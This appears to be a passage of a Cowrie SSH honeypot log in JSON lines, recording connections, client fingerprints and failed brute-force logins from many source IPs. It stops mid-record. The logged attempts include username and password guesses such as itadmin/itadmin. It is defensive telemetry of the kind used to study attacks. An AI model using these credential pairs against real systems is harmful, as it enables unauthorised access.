{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:46.169545Z","src_ip":"138.99.80.102","session":"4ed525f0aef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":52406,"dst_ip":"159.203.135.109","dst_port":22,"session":"d791d5b5cf66","protocol":"ssh","message":"New connection: 2.57.122.96:52406 (159.203.135.109:22) [session: d791d5b5cf66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:51.260075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:51.264399Z","src_ip":"2.57.122.96","session":"d791d5b5cf66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:51.374613Z","src_ip":"2.57.122.96","session":"d791d5b5cf66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"server","message":"login attempt [ubuntu/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:51.685141Z","src_ip":"2.57.122.96","session":"d791d5b5cf66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:16:52.791213Z","src_ip":"2.57.122.96","session":"d791d5b5cf66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":60712,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7084f75048d","protocol":"ssh","message":"New connection: 163.7.6.74:60712 (10.17.0.5:22) [session: c7084f75048d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:08.816242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:08.820756Z","src_ip":"163.7.6.74","session":"c7084f75048d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:09.077130Z","src_ip":"163.7.6.74","session":"c7084f75048d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"notes","password":"notes@123","message":"login attempt [notes/notes@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:10.137645Z","src_ip":"163.7.6.74","session":"c7084f75048d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:11.397341Z","src_ip":"163.7.6.74","session":"c7084f75048d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":44806,"dst_ip":"159.203.135.109","dst_port":22,"session":"671707cb7ec1","protocol":"ssh","message":"New connection: 159.223.57.48:44806 (159.203.135.109:22) [session: 671707cb7ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:21.607597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:21.611904Z","src_ip":"159.223.57.48","session":"671707cb7ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:21.847847Z","src_ip":"159.223.57.48","session":"671707cb7ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrey","password":"1234","message":"login attempt [andrey/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:22.823036Z","src_ip":"159.223.57.48","session":"671707cb7ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:24.062215Z","src_ip":"159.223.57.48","session":"671707cb7ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":47436,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e3dffb98fa","protocol":"ssh","message":"New connection: 162.120.6.20:47436 (10.17.0.5:22) [session: 72e3dffb98fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:35.982411Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:36.051874Z","src_ip":"162.120.6.20","session":"72e3dffb98fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":47440,"dst_ip":"10.17.0.5","dst_port":22,"session":"74b79908cfc1","protocol":"ssh","message":"New connection: 162.120.6.20:47440 (10.17.0.5:22) [session: 74b79908cfc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:36.124344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:36.129929Z","src_ip":"162.120.6.20","session":"74b79908cfc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:36.199167Z","src_ip":"162.120.6.20","session":"74b79908cfc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1q2w3e4r","message":"login attempt [user/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:36.408904Z","src_ip":"162.120.6.20","session":"74b79908cfc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:37.480513Z","src_ip":"162.120.6.20","session":"74b79908cfc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":39864,"dst_ip":"159.203.135.109","dst_port":22,"session":"981471fb020d","protocol":"ssh","message":"New connection: 136.248.247.188:39864 (159.203.135.109:22) [session: 981471fb020d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:52.472364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:52.477460Z","src_ip":"136.248.247.188","session":"981471fb020d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:52.611340Z","src_ip":"136.248.247.188","session":"981471fb020d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"znc","password":"Znc123!","message":"login attempt [znc/Znc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:53.177128Z","src_ip":"136.248.247.188","session":"981471fb020d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:54.312928Z","src_ip":"136.248.247.188","session":"981471fb020d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":51800,"dst_ip":"10.17.0.5","dst_port":22,"session":"87759327078c","protocol":"ssh","message":"New connection: 103.134.154.36:51800 (10.17.0.5:22) [session: 87759327078c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:55.975077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:55.978655Z","src_ip":"103.134.154.36","session":"87759327078c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:56.211592Z","src_ip":"103.134.154.36","session":"87759327078c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo15","password":"Odoo15123","message":"login attempt [odoo15/Odoo15123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:57.177544Z","src_ip":"103.134.154.36","session":"87759327078c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:17:58.413496Z","src_ip":"103.134.154.36","session":"87759327078c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":59572,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e1773e8f06d","protocol":"ssh","message":"New connection: 68.183.236.1:59572 (159.203.135.109:22) [session: 8e1773e8f06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:04.886411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:04.891240Z","src_ip":"68.183.236.1","session":"8e1773e8f06d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":35690,"dst_ip":"159.203.135.109","dst_port":22,"session":"a05abc17bcfd","protocol":"ssh","message":"New connection: 68.233.116.124:35690 (159.203.135.109:22) [session: a05abc17bcfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:05.129287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:05.133374Z","src_ip":"68.233.116.124","session":"a05abc17bcfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:05.136264Z","src_ip":"68.183.236.1","session":"8e1773e8f06d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:05.348426Z","src_ip":"68.233.116.124","session":"a05abc17bcfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"itadmin","message":"login attempt [itadmin/itadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:06.144661Z","src_ip":"68.183.236.1","session":"8e1773e8f06d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"builder","password":"builder1234","message":"login attempt [builder/builder1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:06.243039Z","src_ip":"68.233.116.124","session":"a05abc17bcfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:07.391669Z","src_ip":"68.183.236.1","session":"8e1773e8f06d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:07.461102Z","src_ip":"68.233.116.124","session":"a05abc17bcfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":41734,"dst_ip":"159.203.135.109","dst_port":22,"session":"2688a8e454e5","protocol":"ssh","message":"New connection: 49.49.239.64:41734 (159.203.135.109:22) [session: 2688a8e454e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:12.916652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:12.921468Z","src_ip":"49.49.239.64","session":"2688a8e454e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.